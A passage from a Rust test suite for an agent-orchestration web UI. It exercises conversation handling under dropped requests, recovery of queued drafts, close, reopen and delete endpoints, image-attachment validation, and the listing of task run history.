7859    /// A phone that reloads mid-request drops `talk_say`'s whole handler
7860    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
7861    /// guards against: `talk::record` used to return, and only *then* did the
7862    /// handler make a second, separate disk round trip before spawning the
7863    /// agent's reply task. A future dropped in that gap left a message
7864    /// recorded on disk with no reply task ever started and no way back short
7865    /// of a fresh message - and the gap was not even the whole story: *any*
7866    /// `.await` in this handler, including the very first one, is a point
7867    /// where a drop can land after the awaited work already finished but
7868    /// before this handler's own code resumes to act on it. `record` now
7869    /// runs inside the task `tokio::spawn` hands to the runtime before this
7870    /// handler ever awaits anything of its own again, so there is nothing
7871    /// left in *this* handler's future for a disconnect to interrupt between
7872    /// the message landing on disk and the reply task starting.
7873    ///
7874    /// A real socket disconnect cannot be relied on to land in the old gap
7875    /// from a test - over loopback, `talk_say` typically finishes before the
7876    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
7877    /// same failure mode directly: it drops the task's future at whatever
7878    /// point it has reached, exactly what axum does to the handler future,
7879    /// without needing to win a real network race. Sweeping the delay before
7880    /// aborting samples a range of points the task's execution can be at,
7881    /// including where the old code sat waiting on its second disk round
7882    /// trip - confirmed by reverting this fix locally and watching this same
7883    /// sweep catch a talk stuck with the operator's turn recorded and no
7884    /// reply ever following.
7885    #[tokio::test]
7886    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7887        let tmp = TempDir::new().expect("tempdir");
7888        let repo = tmp.path().join("repo");
7889        std::fs::create_dir_all(&repo).expect("repo dir");
7890        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7891        let home = TempDir::new().expect("temp home");
7892        let talks = Talks::at(home.path().join("talks"));
7893        let ui = Arc::new(
7894            Ui::new(
7895                Queue::at(home.path().join("queue")),
7896                Questions::at(home.path().join("questions")),
7897                talks.clone(),
7898                home.path().join("runs"),
7899                home.path().to_path_buf(),
7900                repo.clone(),
7901            )
7902            .with_worktrees_root(home.path().join("wt")),
7903        );
7904        let cfg = config_for(&repo).await.expect("discover config");
7905
7906        for delay in 0..40u32 {
7907            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7908            let id = talk.id.clone();
7909
7910            let handler = tokio::spawn(talk_say(
7911                State(Arc::clone(&ui)),
7912                Path(id.clone()),
7913                Ok(Json(NewTalkTurn {
7914                    text: "what does the queue module do?".to_owned(),
7915                    attachments: Vec::new(),
7916                })),
7917            ));
7918            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
7919            handler.abort();
7920            // Wait out the abort so the next iteration's talk does not race
7921            // this one's still-unwinding turn guard.
7922            let _ = handler.await;
7923
7924            let mut turns = 0;
7925            for _ in 0..SETTLE_STEPS {
7926                if let Ok(fresh) = talks.get(&id) {
7927                    turns = fresh.turns.len();
7928                    if turns != 1 {
7929                        break;
7930                    }
7931                }
7932                tokio::time::sleep(Duration::from_millis(10)).await;
7933            }
7934            assert_ne!(
7935                turns, 1,
7936                "delay {delay}: talk {id} recorded the operator's turn but \
7937                 the agent never answered - the reply task was never \
7938                 started after the handler future was dropped"
7939            );
7940        }
7941    }
7942
7943    /// The same drop, landing on `talk_say`'s other durable write.
7944    ///
7945    /// When a turn is already running, the busy branch persists the
7946    /// operator's text as a queued draft and then reclaims the turn slot if
7947    /// the holder gave it up in the meantime - and whoever reclaims owes that
7948    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
7949    /// which finishes whether or not the future awaiting it is still there,
7950    /// so a handler dropped at that `.await` used to leave the draft written
7951    /// to disk with the reclaimed guard dropped unread and no drainer ever
7952    /// started: the message sat queued until some unrelated later `say`
7953    /// happened to pick it up.
7954    ///
7955    /// This used to drive the handler future by hand, polling it a fixed
7956    /// number of times to park it at the `.await` where it asks for the turn
7957    /// and finds it busy, before the reclaim's slot-free case could be set up
7958    /// underneath it. That assumed a fixed number of polls lands at a fixed
7959    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
7960    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
7961    /// poll, so any number of this handler's several `blocking` awaits can
7962    /// collapse into one poll under load, landing the drive somewhere other
7963    /// than intended - including, occasionally, straight past the handler's
7964    /// own completion, which made polling it again panic with "async fn
7965    /// resumed after completion". No poll count fixes that; the handler's
7966    /// progress simply is not something a caller outside it can observe by
7967    /// counting.
7968    ///
7969    /// [`BusyQueueGate`] replaces the poll count with a real stop point
7970    /// inside the write itself, so the interleaving under test is pinned by
7971    /// an event instead of a guess: the gate fires only once the handler has
7972    /// actually decided `Busy` and is about to persist the draft, and it
7973    /// blocks that write until the test lets it through. Between those two
7974    /// moments the test drains the turn the handler found busy - through
7975    /// `drain_loop`, the protocol's other half - and then aborts the handler
7976    /// task outright, the same way axum drops a disconnected request's
7977    /// future. The write, and the reclaim it may do, run to completion
7978    /// regardless: they live in the `tokio::spawn` task the busy branch hands
7979    /// to the runtime before ever touching the gate, wholly independent of
7980    /// whether the handler that started it is still around - which is what
7981    /// this test is actually checking. A drainer other than that reclaim
7982    /// cannot exist here: the test's own `drain_loop` call happens before the
7983    /// gate opens, so it runs while the queue is still empty and hands the
7984    /// turn straight back rather than draining anything, closing off the
7985    /// possibility of the final assertion passing without the reclaim ever
7986    /// having done its job.
7987    #[tokio::test]
7988    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
7989        let tmp = TempDir::new().expect("tempdir");
7990        let repo = tmp.path().join("repo");
7991        std::fs::create_dir_all(&repo).expect("repo dir");
7992        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7993        let home = TempDir::new().expect("temp home");
7994        let talks = Talks::at(home.path().join("talks"));
7995        let ui = Arc::new(
7996            Ui::new(
7997                Queue::at(home.path().join("queue")),
7998                Questions::at(home.path().join("questions")),
7999                talks.clone(),
8000                home.path().join("runs"),
8001                home.path().to_path_buf(),
8002                repo.clone(),
8003            )
8004            .with_worktrees_root(home.path().join("wt")),
8005        );
8006        let cfg = config_for(&repo).await.expect("discover config");
8007
8008        for attempt in 0..3u32 {
8009            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8010            let id = talk.id.clone();
8011            // A turn is already running, which is what sends `talk_say` down
8012            // the busy branch.
8013            let turn_guard = ui
8014                .begin_talk_turn(&id)
8015                .expect("claim the turn")
8016                .expect("a fresh talk owes nobody a turn");
8017
8018            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8019            let (release_tx, release_rx) = std::sync::mpsc::channel();
8020            ui.set_busy_queue_gate(BusyQueueGate {
8021                reached: reached_tx,
8022                release: release_rx,
8023            });
8024
8025            let handler = tokio::spawn(talk_say(
8026                State(Arc::clone(&ui)),
8027                Path(id.clone()),
8028                Ok(Json(NewTalkTurn {
8029                    text: "what does the queue module do?".to_owned(),
8030                    attachments: Vec::new(),
8031                })),
8032            ));
8033
8034            // Wait for the busy branch to actually reach the gate, rather
8035            // than for any fixed number of polls of anything - a bounded
8036            // wait rather than a bare `.await` so a regression that never
8037            // reaches the gate fails the test instead of hanging it.
8038            tokio::time::timeout(Duration::from_secs(5), reached_rx)
8039                .await
8040                .unwrap_or_else(|_| {
8041                    panic!(
8042                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8043                    )
8044                })
8045                .expect("the busy branch dropped the gate without using it");
8046
8047            // The turn that was running now finishes and gives the slot up
8048            // the way a real one does - through `drain_loop`, which finds
8049            // nothing queued yet (the write is still held at the gate) and
8050            // releases. The handler, parked inside `spawn_blocking` on the
8051            // other side of the gate, still believes the talk is busy -
8052            // exactly the interleaving the reclaim exists for.
8053            let running = talks.get(&id).expect("reload talk");
8054            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8055
8056            // Drop the handler future now, the way a reloading phone drops
8057            // it: suspended waiting on the busy branch's answer, having
8058            // itself made no more progress since it handed the write off.
8059            handler.abort();
8060            let _ = handler.await;
8061
8062            // Only now let the gated write proceed. It persists the draft
8063            // and reclaims the now-free slot from inside the task the busy
8064            // branch already spawned - unaffected by the handler's abort
8065            // above, since that task was independent of the handler's own
8066            // future from the moment it was spawned.
8067            let _ = release_tx.send(());
8068
8069            // A settled talk: the draft drained into an operator turn and
8070            // answered.
8071            let mut fresh = talks.get(&id).expect("reload talk");
8072            for _ in 0..SETTLE_STEPS {
8073                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8074                    break;
8075                }
8076                tokio::time::sleep(Duration::from_millis(10)).await;
8077                fresh = talks.get(&id).expect("reload talk");
8078            }
8079            assert!(
8080                fresh.pending.is_empty() && fresh.turns.len() == 2,
8081                "attempt {attempt}: talk {id} left the operator's text queued \
8082                 with no drainer - the reclaimed turn was dropped along with \
8083                 the handler future (pending {:?}, {} turns)",
8084                fresh.pending,
8085                fresh.turns.len()
8086            );
8087        }
8088    }
8089
8090    #[tokio::test]
8091    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8092        let (_tmp, _repo, f) = talk_fixture().await;
8093        let id = f.post("/api/talks", None).await.json()["id"]
8094            .as_str()
8095            .expect("id")
8096            .to_owned();
8097        let store = f.talks();
8098        let mut recovered = store.get(&id).expect("opened talk");
8099        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8100            .expect("persist pending draft without a live turn");
8101
8102        let edited = f
8103            .post(
8104                &format!("/api/talks/{id}/pending/edit"),
8105                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8106            )
8107            .await;
8108        assert_eq!(edited.status, 200, "{}", edited.body);
8109        assert!(edited.json()["thinking"].as_bool().unwrap());
8110
8111        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8112        for _ in 0..SETTLE_STEPS {
8113            if detail["turns"].as_array().expect("turns").len() == 2 {
8114                break;
8115            }
8116            tokio::time::sleep(Duration::from_millis(10)).await;
8117            detail = f.get(&format!("/api/talks/{id}")).await.json();
8118        }
8119        let turns = detail["turns"].as_array().expect("turns");
8120        assert_eq!(
8121            turns.len(),
8122            2,
8123            "the recovered draft must run once: {detail}"
8124        );
8125        assert_eq!(turns[0]["body"], "corrected");
8126        assert_eq!(detail["pending"], "");
8127    }
8128
8129    #[tokio::test]
8130    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8131        let tmp = TempDir::new().expect("tempdir");
8132        let repo = tmp.path().join("repo");
8133        std::fs::create_dir_all(&repo).expect("repo dir");
8134        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8135        let f = Fixture::with_repo(repo).await;
8136        let id = f.post("/api/talks", None).await.json()["id"]
8137            .as_str()
8138            .expect("id")
8139            .to_owned();
8140        let store = f.talks();
8141        let mut recovered = store.get(&id).expect("opened talk");
8142        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8143            .expect("persist pending draft without a live turn");
8144
8145        let refused = f
8146            .post(
8147                &format!("/api/talks/{id}/say"),
8148                Some(r#"{"text":"new message"}"#),
8149            )
8150            .await;
8151        assert_eq!(refused.status, 409, "{}", refused.body);
8152        assert!(refused.body.contains("resume"), "{}", refused.body);
8153        let saved = store.get(&id).expect("draft remains after refusal");
8154        assert!(saved.turns.is_empty());
8155        assert_eq!(saved.pending, "saved before restart");
8156
8157        let say_path = format!("/api/talks/{id}/say");
8158        let (first, second) = tokio::join!(
8159            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8160            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8161        );
8162        assert_eq!(first.status, 409, "{}", first.body);
8163        assert_eq!(second.status, 409, "{}", second.body);
8164        let saved = store
8165            .get(&id)
8166            .expect("draft remains after concurrent refusals");
8167        assert!(saved.turns.is_empty());
8168        assert_eq!(saved.pending, "saved before restart");
8169
8170        let resumed = f
8171            .post(&format!("/api/talks/{id}/pending/resume"), None)
8172            .await;
8173        assert_eq!(resumed.status, 202, "{}", resumed.body);
8174        let duplicate = f
8175            .post(&format!("/api/talks/{id}/pending/resume"), None)
8176            .await;
8177        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8178
8179        for _ in 0..SETTLE_STEPS {
8180            if store.get(&id).expect("talk").turns.len() == 2 {
8181                break;
8182            }
8183            tokio::time::sleep(Duration::from_millis(10)).await;
8184        }
8185        let finished = store.get(&id).expect("finished talk");
8186        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8187        assert_eq!(finished.turns[0].body, "saved before restart");
8188        assert!(finished.pending.is_empty());
8189    }
8190
8191    #[tokio::test]
8192    async fn an_image_only_recovered_draft_resumes_without_text() {
8193        let (_tmp, _repo, f) = talk_fixture().await;
8194        let id = f.post("/api/talks", None).await.json()["id"]
8195            .as_str()
8196            .expect("id")
8197            .to_owned();
8198        let uploaded = f
8199            .post_bytes(
8200                &format!("/api/talks/{id}/attachments"),
8201                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8202                PNG_BYTES,
8203            )
8204            .await;
8205        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8206        let attachment = f
8207            .talks()
8208            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8209            .expect("attachment metadata")
8210            .expect("stored attachment");
8211        let store = f.talks();
8212        let mut recovered = store.get(&id).expect("opened talk");
8213        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8214
8215        let resumed = f
8216            .post(&format!("/api/talks/{id}/pending/resume"), None)
8217            .await;
8218        assert_eq!(resumed.status, 202, "{}", resumed.body);
8219        for _ in 0..SETTLE_STEPS {
8220            if store.get(&id).expect("talk").turns.len() == 2 {
8221                break;
8222            }
8223            tokio::time::sleep(Duration::from_millis(10)).await;
8224        }
8225        let finished = store.get(&id).expect("finished talk");
8226        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8227        assert!(finished.turns[0].body.is_empty());
8228        assert_eq!(finished.turns[0].attachments.len(), 1);
8229        assert!(finished.pending_attachments.is_empty());
8230    }
8231
8232    #[tokio::test]
8233    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8234        let (_tmp, _repo, f) = talk_fixture().await;
8235        let id = f.post("/api/talks", None).await.json()["id"]
8236            .as_str()
8237            .expect("id")
8238            .to_owned();
8239        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8240        assert_eq!(closed.status, 200, "{}", closed.body);
8241        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8242            .expect("serialize closed talk");
8243        for (path, body) in [
8244            (format!("/api/talks/{id}/pending/resume"), None),
8245            (
8246                format!("/api/talks/{id}/pending/clear"),
8247                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8248            ),
8249            (
8250                format!("/api/talks/{id}/pending/edit"),
8251                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8252            ),
8253            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8254        ] {
8255            let response = f.post(&path, body).await;
8256            assert_eq!(response.status, 409, "{}", response.body);
8257        }
8258        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8259            .expect("serialize closed talk");
8260        assert_eq!(
8261            after_clear, before_clear,
8262            "clear must not rewrite a closed talk"
8263        );
8264    }
8265
8266    /// Keeps both claims observable long enough to exercise the distinction
8267    /// between one busy talk and a globally locked Chat surface.
8268    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8269
8270    #[tokio::test]
8271    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8272        let tmp = TempDir::new().expect("tempdir");
8273        let repo = tmp.path().join("repo");
8274        std::fs::create_dir_all(&repo).expect("repo dir");
8275        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8276        let f = Fixture::with_repo(repo).await;
8277        let id_a = f.post("/api/talks", None).await.json()["id"]
8278            .as_str()
8279            .unwrap()
8280            .to_owned();
8281        let id_b = f.post("/api/talks", None).await.json()["id"]
8282            .as_str()
8283            .unwrap()
8284            .to_owned();
8285
8286        let a = f
8287            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8288            .await;
8289        assert_eq!(a.status, 202, "{}", a.body);
8290        assert_eq!(a.json()["thinking"], true);
8291        let b = f
8292            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8293            .await;
8294        assert_eq!(b.status, 202, "{}", b.body);
8295        assert_eq!(b.json()["thinking"], true);
8296
8297        let listed = f.get("/api/talks").await.json();
8298        for id in [&id_a, &id_b] {
8299            let view = listed
8300                .as_array()
8301                .unwrap()
8302                .iter()
8303                .find(|talk| talk["id"] == *id)
8304                .unwrap();
8305            assert_eq!(view["thinking"], true, "{listed}");
8306        }
8307        let repeated = f
8308            .post(
8309                &format!("/api/talks/{id_a}/say"),
8310                Some(r#"{"text":"again"}"#),
8311            )
8312            .await;
8313        assert_eq!(repeated.status, 202, "{}", repeated.body);
8314        assert_eq!(repeated.json()["pending"], "again");
8315    }
8316
8317    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
8318    /// few more, since real uploads are never exactly eight bytes.
8319    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8320
8321    #[tokio::test]
8322    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8323        let f = Fixture::start().await;
8324        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8325
8326        let res = f
8327            .post_bytes(
8328                &format!("/api/talks/{id}/attachments"),
8329                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8330                PNG_BYTES,
8331            )
8332            .await;
8333        assert_eq!(res.status, 201, "{}", res.body);
8334        let body = res.json();
8335        assert_eq!(body["name"], "shot.png");
8336        assert_eq!(body["mime"], "image/png");
8337        assert_eq!(body["bytes"], PNG_BYTES.len());
8338        let att_id = body["id"].as_str().expect("id").to_owned();
8339        assert_eq!(
8340            att_id.len(),
8341            32,
8342            "the id must never be a client-suppliable path: {att_id}"
8343        );
8344
8345        let got = f
8346            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8347            .await;
8348        assert_eq!(got.status, 200, "{}", got.body);
8349        assert_eq!(got.header("content-type"), Some("image/png"));
8350        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8351        assert_eq!(got.bytes, PNG_BYTES);
8352    }
8353
8354    #[tokio::test]
8355    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8356        let f = Fixture::start().await;
8357        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8358
8359        // SVG can carry a `<script>`, so it is never on the whitelist even
8360        // though it is a real IANA image type.
8361        let svg = f
8362            .post_bytes(
8363                &format!("/api/talks/{id}/attachments"),
8364                &[("Content-Type", "image/svg+xml")],
8365                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8366            )
8367            .await;
8368        assert!(
8369            (400..500).contains(&svg.status),
8370            "svg must be refused: {} {}",
8371            svg.status,
8372            svg.body
8373        );
8374        assert!(svg.body.contains("SVG"), "{}", svg.body);
8375
8376        let text = f
8377            .post_bytes(
8378                &format!("/api/talks/{id}/attachments"),
8379                &[("Content-Type", "text/plain")],
8380                b"just some text",
8381            )
8382            .await;
8383        assert!(
8384            (400..500).contains(&text.status),
8385            "an unlisted type must be refused: {} {}",
8386            text.status,
8387            text.body
8388        );
8389
8390        // The declared type is a real png, but the size check runs before
8391        // the bytes are even looked at.
8392        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8393        let big = f
8394            .post_bytes(
8395                &format!("/api/talks/{id}/attachments"),
8396                &[("Content-Type", "image/png")],
8397                &oversized,
8398            )
8399            .await;
8400        assert_eq!(
8401            big.status,
8402            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8403            "{}",
8404            big.body
8405        );
8406    }
8407
8408    #[tokio::test]
8409    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8410        let f = Fixture::start().await;
8411        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8412
8413        // A whitelisted `Content-Type`, but bytes that are not actually a
8414        // png - the declared header alone is never trusted.
8415        let res = f
8416            .post_bytes(
8417                &format!("/api/talks/{id}/attachments"),
8418                &[("Content-Type", "image/png")],
8419                b"<html>not a picture</html>",
8420            )
8421            .await;
8422        assert!((400..500).contains(&res.status), "{}", res.body);
8423    }
8424
8425    #[tokio::test]
8426    async fn an_unknown_attachment_id_is_a_404() {
8427        let f = Fixture::start().await;
8428        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8429
8430        let res = f
8431            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8432            .await;
8433        assert_eq!(res.status, 404, "{}", res.body);
8434    }
8435
8436    #[tokio::test]
8437    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8438        let f = Fixture::start().await;
8439        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8440
8441        let uploaded = f
8442            .post_bytes(
8443                &format!("/api/talks/{id}/attachments"),
8444                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8445                PNG_BYTES,
8446            )
8447            .await;
8448        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8449        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8450
8451        let res = f
8452            .post(
8453                &format!("/api/talks/{id}/say"),
8454                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8455            )
8456            .await;
8457        assert_eq!(res.status, 202, "{}", res.body);
8458        let queued = res.json();
8459        let turns = queued["turns"].as_array().expect("turns array");
8460        assert_eq!(
8461            turns.len(),
8462            1,
8463            "an empty body with an attachment is still a turn: {queued}"
8464        );
8465        assert_eq!(turns[0]["who"], "operator");
8466        assert_eq!(turns[0]["body"], "");
8467        let atts = turns[0]["attachments"]
8468            .as_array()
8469            .expect("attachments array");
8470        assert_eq!(atts.len(), 1);
8471        assert_eq!(atts[0]["id"], att_id);
8472        assert_eq!(atts[0]["mime"], "image/png");
8473
8474        // Not only in the response: `record` flushes to disk before the
8475        // agent's own turn is even spawned.
8476        let on_disk = f.talks().get(&id).expect("get");
8477        assert_eq!(on_disk.turns[0].attachments.len(), 1);
8478        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8479    }
8480
8481    #[tokio::test]
8482    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8483        let f = Fixture::start().await;
8484        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8485
8486        let res = f
8487            .post(
8488                &format!("/api/talks/{id}/say"),
8489                Some(&format!(
8490                    r#"{{"text":"hi","attachments":["{}"]}}"#,
8491                    "a".repeat(32)
8492                )),
8493            )
8494            .await;
8495        assert!((400..500).contains(&res.status), "{}", res.body);
8496        assert!(res.body.contains("unknown attachment"), "{}", res.body);
8497
8498        let on_disk = f.talks().get(&id).expect("get");
8499        assert!(
8500            on_disk.turns.is_empty(),
8501            "a rejected attachment id must not partially record the turn: {:?}",
8502            on_disk.turns
8503        );
8504    }
8505
8506    #[tokio::test]
8507    async fn talk_close_makes_the_talk_refuse_further_turns() {
8508        let f = Fixture::start().await;
8509        let id = seed_talk(&f, "20260904-014455-cd34", "open");
8510
8511        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8512        assert_eq!(closed.status, 200, "{}", closed.body);
8513        assert_eq!(closed.json()["status"], "closed");
8514
8515        // Idempotent: closing an already-closed talk is not an error.
8516        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8517        assert_eq!(closed_again.status, 200);
8518        assert_eq!(closed_again.json()["status"], "closed");
8519
8520        let said = f
8521            .post(
8522                &format!("/api/talks/{id}/say"),
8523                Some(r#"{"text":"too late"}"#),
8524            )
8525            .await;
8526        assert_eq!(said.status, 409, "{}", said.body);
8527    }
8528
8529    #[tokio::test]
8530    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8531        let (_tmp, _repo, f) = talk_fixture().await;
8532        let id = f.post("/api/talks", None).await.json()["id"]
8533            .as_str()
8534            .expect("id")
8535            .to_owned();
8536        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8537        assert_eq!(closed.status, 200, "{}", closed.body);
8538
8539        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8540        assert_eq!(reopened.status, 200, "{}", reopened.body);
8541        assert_eq!(reopened.json()["status"], "open");
8542
8543        // Idempotent: reopening an already-open talk is not an error.
8544        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8545        assert_eq!(reopened_again.status, 200);
8546        assert_eq!(reopened_again.json()["status"], "open");
8547
8548        let said = f
8549            .post(
8550                &format!("/api/talks/{id}/say"),
8551                Some(r#"{"text":"still there?"}"#),
8552            )
8553            .await;
8554        assert_eq!(
8555            said.status, 202,
8556            "a reopened talk accepts turns again: {}",
8557            said.body
8558        );
8559    }
8560
8561    #[tokio::test]
8562    async fn talk_reopen_on_an_unknown_id_is_404() {
8563        let f = Fixture::start().await;
8564        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8565        assert_eq!(res.status, 404, "{}", res.body);
8566    }
8567
8568    #[tokio::test]
8569    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8570        let f = Fixture::start().await;
8571        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8572
8573        let deleted = f.delete(&format!("/api/talks/{id}")).await;
8574        assert_eq!(deleted.status, 204, "{}", deleted.body);
8575
8576        let after = f.get(&format!("/api/talks/{id}")).await;
8577        assert_eq!(after.status, 404, "{}", after.body);
8578
8579        let listed = f.get("/api/talks").await.json();
8580        assert!(
8581            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8582            "a deleted talk must not linger in the list: {listed}"
8583        );
8584    }
8585
8586    #[tokio::test]
8587    async fn talk_delete_on_an_unknown_id_is_404() {
8588        let f = Fixture::start().await;
8589        let res = f.delete("/api/talks/nonexistent-id").await;
8590        assert_eq!(res.status, 404, "{}", res.body);
8591    }
8592
8593    /// A task's page lists every run it ever had, in order, and says what kind
8594    /// of attempt each was - including a resume, which re-pushes the same run
8595    /// id, and a run whose record this build cannot read.
8596    #[tokio::test]
8597    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8598        let f = Fixture::start().await;
8599        let (a, b, gone) = (
8600            "20260902-140501-aaaa",
8601            "20260902-140502-bbbb",
8602            "20260902-140503-cccc",
8603        );
8604        write_run(&f.runs(), a, RunStatus::Stalled);
8605        let mut review = RunState::new(
8606            PathBuf::from("/repo/magi"),
8607            "main".to_owned(),
8608            "0123456789abcdef".to_owned(),
8609            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8610                .to_owned(),
8611            Config::default(),
8612        );
8613        review.id = b.to_owned();
8614        review.status = RunStatus::Merged;
8615        write_state(&f.runs(), &review);
8616
8617        let mut task = Task::new(
8618            "retry".to_owned(),
8619            "Do the thing".to_owned(),
8620            PathBuf::from("/repo/magi"),
8621            Source::Human,
8622        );
8623        task.start(a.to_owned());
8624        task.stall("quota");
8625        task.start(a.to_owned());
8626        task.start(b.to_owned());
8627        task.start(gone.to_owned());
8628        f.queue().put(&mut task).expect("file the task");
8629
8630        let res = f.get(&format!("/api/queue/{}", task.id)).await;
8631        assert_eq!(res.status, 200, "{}", res.body);
8632        let v = res.json();
8633        let h = v["history"].as_array().expect("history");
8634        assert_eq!(h.len(), 4, "{v}");
8635        assert_eq!(h[0]["kind"], "competition");
8636        assert_eq!(h[0]["status"], "stalled");
8637        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8638        assert_eq!(h[1]["kind"], "resume", "{v}");
8639        assert!(
8640            h[0]["outcome"]
8641                .as_str()
8642                .unwrap()
8643                .contains("unknown. Pass #2"),
8644            "an earlier pass of a resumed run must not claim the final outcome: {v}"
8645        );
8646        assert!(
8647            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8648            "{v}"
8649        );
8650        assert!(
8651            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8652            "an unrecorded cause must not be narrated as an operator park: {v}"
8653        );
8654        assert_eq!(h[2]["kind"], "review");
8655        assert!(
8656            h[2]["description"]
8657                .as_str()
8658                .unwrap()
8659                .contains("magi/aaaa/A")
8660        );
8661        assert_eq!(h[2]["status"], "merged");
8662        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8663        assert_eq!(v["runs_unreadable"], 1);
8664        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8665        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8666        assert_eq!(nodes[4]["note"], "unreadable");
8667        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8668        assert_eq!(v["instruction"], "Do the thing");
8669        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8670
8671        // The run's own page links back to the task.
8672        let run = f.get(&format!("/api/runs/{a}")).await.json();
8673        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8674
8675        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8676    }
8677
8678    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8679        let mut s = RunState::new(
8680            PathBuf::from("/repo/magi"),
8681            "main".to_owned(),
8682            "0123456789abcdef".to_owned(),
8683            "Do it".to_owned(),
8684            Config::default(),
8685        );
8686        s.status = status;
8687        edit(&mut s);
8688        s
8689    }
8690
8691    fn flow_task(runs: &[&str]) -> Task {
8692        let mut t = Task::new(
8693            "t".to_owned(),
8694            "Do it".to_owned(),
8695            PathBuf::from("/repo/magi"),
8696            Source::Human,
8697        );
8698        for r in runs {
